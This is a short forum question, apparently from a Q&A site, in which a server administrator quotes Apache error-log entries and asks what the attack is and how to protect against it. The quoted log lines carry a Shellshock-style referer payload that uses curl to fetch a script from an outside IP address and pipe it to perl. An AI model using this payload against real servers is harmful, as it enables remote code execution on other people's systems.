Typically my apache error logs get hit with a large volume of the typical 'phpmyadmin' (requests and a huge qty of spelling variations), wordpress admin, joomla and a whole load more.
But last night my server got hit with an unusually high volume of a new type:
[Mon Oct 27 20:22:58 2014] [error] [client 46.105.118.179] File does not exist: /var/www/details.cgi, referer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
And
[Mon Oct 27 20:22:59 2014] [error] [client 46.105.118.179] script not found or unable to stat: /usr/lib/cgi-bin/zml.cgi, referer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | p$
They all are after slight variations of the above two.
Has anyone else seen this? What are they after? Are there any extra security precautions that I might be able to put in place for such attacks?
0 Answers